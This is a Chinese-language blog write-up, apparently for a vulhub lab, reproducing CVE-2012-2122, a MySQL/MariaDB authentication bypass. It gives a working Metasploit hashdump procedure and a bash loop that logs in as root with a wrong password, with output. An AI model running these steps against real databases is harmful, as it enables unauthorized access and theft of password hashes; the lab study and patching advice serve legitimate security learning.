vulhub靶场mysql类型CVE-2012-2122漏洞复现

1.漏洞简介

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

2.受影响的版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

3.复现环境

攻击机:kali-linux——192.168.1.9/24
靶机:Centos7——192.168.1.10/24
Centos7安装docker跟vulhub可以参考CentOS 7 安装docker容器及Vulhub靶场

4.复现前提

本级mysql未安装
如已经安装请进入…/vulhub/mysql/CVE-2012-2122目录
执行 vim vim docker-compose.yml将默认"3306:3306"修改为如下
在这里插入图片描述

5.漏洞复现

5.1启动靶机环境

(base) [root@centos7 shoot_range]# cd ./vulhub/mysql
(base) [root@centos7 mysql]# ls
CVE-2012-2122
(base) [root@centos7 mysql]# cd CVE-2012-2122/
(base) [root@centos7 CVE-2012-2122]# docker-compose up -d
cve-2012-2122_mysql_1_68d4870a2ce1 is up-to-date
(base) [root@centos7 CVE-2012-2122]# docker ps
CONTAINER ID   IMAGE                 COMMAND                   CREATED          STATUS          PORTS                                       NAMES
1f41deeea1de   vulhub/mysql:5.5.23   "/bin/bash -c mysqld…"   28 minutes ago   Up 28 minutes   0.0.0.0:3307->3306/tcp, :::3307->3306/tcp   cve-2012-2122_mysql_1_68d4870a2ce1
(base) [root@centos7 CVE-2012-2122]# 

此时启动的靶场端口为3307

5.2攻击机攻击

该MySql身份认证绕过漏洞有两种攻击方式
命令行测试能否正常连接:mysql -h your_centos7_ip -u root -p 123456 -P 3307

(base) ┌──(root㉿anonymous)-[~]
└─# mysql -h 192.168.1.10 -uroot -p123456 -P 3307
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.23 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

此时能进行正常连接就可以开始测试了

5.3漏洞利用

5.3.1第一种,msf

由于是启动的kali自带的msf工具可以直接使用
命令行依次输入如下命令

msfconsole          // 启动msf工具                         
use auxiliary/scanner/mysql/mysql_authbypass_hashdump  //使用mysql无CVE-2012-2122利用模块
show options //查看需要设置哪些参数
需要设置RHOSTS——靶机ip、RPORT——mysql服务端口、USERNAME——mysql数据库名、THREADS——启用线程
通过set [方法] [参数] 例如设置启动线程为100:set THREADS 100
按如上参数设置完参数后在命令行输入run进行运行
最后可以获得该mysql数据库密码表进行利用
查看密码表:
cd /home/kali/.msf6/loot/ 本级装的是msf6.0所以.msf6目录下
ls查看该目录下文件可以看到上述msf爆破得到的.txt的密码表

5.3.2第二种,bash暴力破解进行连接

for i in seq 1 1000; do mysql -u root -P3307 -password=bad -h 192.168.1.10 2>/dev/null; done

(base) ┌──(root㉿anonymous)-[~]
└─# for i in `seq 1 1000`; do mysql -u root -P3307  -password=bad -h 192.168.1.10 2>/dev/null; done
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1011
Server version: 5.5.23 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

6.修复建议

升级官方补丁
更新mysql版本

7.参考链接

Mysql身份认证漏洞复现(CVE-2012-2122)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值